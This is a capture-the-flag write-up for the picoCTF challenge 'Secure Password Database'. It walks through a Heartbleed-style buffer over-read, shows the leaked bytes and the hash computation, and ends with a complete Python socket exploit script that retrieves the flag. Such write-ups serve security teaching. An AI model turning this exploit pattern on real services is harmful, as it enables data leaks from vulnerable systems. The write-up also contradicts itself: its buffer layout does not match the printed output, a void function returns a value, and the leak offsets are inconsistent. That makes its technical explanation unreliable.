Challenge: Secure Password Database
Points: 200
Author: Philip Thayer


Challenge Description

I made a new password authentication program that even shows you the password you entered saved in the database! Isn't that cool?

$ nc candy-mountain.picoctf.net 64821


Initial Analysis

First, we examine the downloaded attachment system.out:

$ file system.out
system.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked

The file is actually a 64-bit ELF executable (despite the .out extension suggesting Java), referencing heartbleed.c which hints at a Heartbleed-style information leak vulnerability.


Vulnerability Analysis

The Buffer Layout

The program allocates a 90-byte buffer using calloc(0x5a, 1):

// From disassembly at 0x13f3
mov     $0x5a, %edi     ; 90 bytes
mov     $0x1, %esi      ; size 1
call    calloc

The program then copies secret data at the start of the buffer (offset 0) and the user's password at offset 0x3c (60):

// From disassembly at 0x1431
lea     0x3c(%rax), %rdx    ; offset 60
call    strcpy              ; password copied here

The Heartbleed-style Leak

When displaying the "stored password", the program prints from the start of the buffer (offset 0) for the user-specified length:

// The loop prints from offset 0 up to user-specified length
for (i = 0; i < user_length && i < 89; i++) {
    printf("%d ", buffer[i]);
}

The vulnerability: If we claim a password length larger than 60 bytes, the program will leak the secret bytes stored before the actual password.

The Secret Data

The secret is XOR-encoded with key 0xaa using the obf_bytes array. The make_secret function:

void make_secret(char *dest) {
    for (int i = 0; obf_bytes[i] != 0; i++) {
        dest[i] = obf_bytes[i] ^ 0xaa;
    }
    dest[12] = 0;  // Explicit null terminator
    return hash(dest);
}

Exploitation Steps

Step 1: Set a Password

Connect to the server and enter any password:

Please set a password for your account:
AAAAAAAAAA

Step 2: Request Large Number of Bytes

When asked for the password length, enter 89 (the maximum allowed):

How many bytes in length is your password?
89

Step 3: Extract Leaked Secret Bytes

The server responds with the leaked data:

You entered: 89
Your successfully stored password:
65 65 65 65 65 65 65 65 65 65 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 105 85 98 104 56 49 33 106 42 104 110 33 -86 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Enter your hash to access your account!

The leaked secret bytes (indices 61-72) are:

105 85 98 104 56 49 33 106 42 104 110 33

In hex: 0x69 0x55 0x62 0x68 0x38 0x31 0x21 0x6a 0x2a 0x68 0x6e 0x21

Note: The -86 is actually 0xaa (signed representation of 170), which is the XOR terminator indicating end of secret data.

Step 4: Compute the Hash

The program's hash function is:

def hash(data):
    h = 0x1505
    for b in data:
        if b == 0:
            break
        h = (h << 5) + h + b
    return h

Computing the hash on the 12 leaked bytes:

secret = bytes([105, 85, 98, 104, 56, 49, 33, 106, 42, 104, 110, 33])
h = 0x1505
for b in secret:
    h = ((h << 5) + h + b) & 0xffffffffffffffff
print(h)  # 15237662580160011234

Hash: 15237662580160011234

Step 5: Send the Hash and Get the Flag

Enter your hash to access your account!
15237662580160011234

picoCTF{d0nt_trust_us3rs}

Complete Exploit Script

#!/usr/bin/env python3
import socket
import re

def compute_hash(data):
    h = 0x1505
    for b in data:
        if b == 0:
            break
        h = ((h << 5) + h + b) & 0xffffffffffffffff
    return h

def exploit():
    host = "candy-mountain.picoctf.net"
    port = 64821
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    
    # Step 1: Send password
    s.recv(4096)  # "Please set a password..."
    s.send(b"A" * 10 + b"\n")
    
    # Step 2: Request 89 bytes to trigger leak
    s.recv(4096)  # "How many bytes..."
    s.send(b"89\n")
    
    # Step 3: Extract leaked bytes
    data = s.recv(4096).decode()
    numbers = re.findall(r'-?\d+', data)
    leaked = []
    for n in numbers:
        val = int(n)
        if 0 <= val <= 255:
            leaked.append(val)
        elif val == -86:  # Signed 0xaa
            leaked.append(170)
    
    # Secret starts at offset 61
    secret = bytes(leaked[61:73])
    
    # Step 4: Compute hash
    hash_value = compute_hash(secret)
    
    # Step 5: Send hash and get flag
    s.send(str(hash_value).encode() + b"\n")
    flag = s.recv(4096).decode()
    print(flag)  # picoCTF{d0nt_trust_us3rs}
    
    s.close()

if __name__ == "__main__":
    exploit()

Key Takeaways

  1. Information Leaks: Be careful with what data is displayed to users. Printing raw memory contents can leak sensitive information.

  2. Buffer Management: When storing data at an offset in a buffer, ensure that bounds checking prevents reading beyond the intended data.

  3. XOR Encoding is NOT Encryption: The secret was simply XOR'd with a constant byte (0xaa), which provides no real security.

  4. Hash Verification: The authentication only verified the hash of the secret, not the secret itself, making the system vulnerable to hash replay attacks.


Flag

picoCTF{d0nt_trust_us3rs}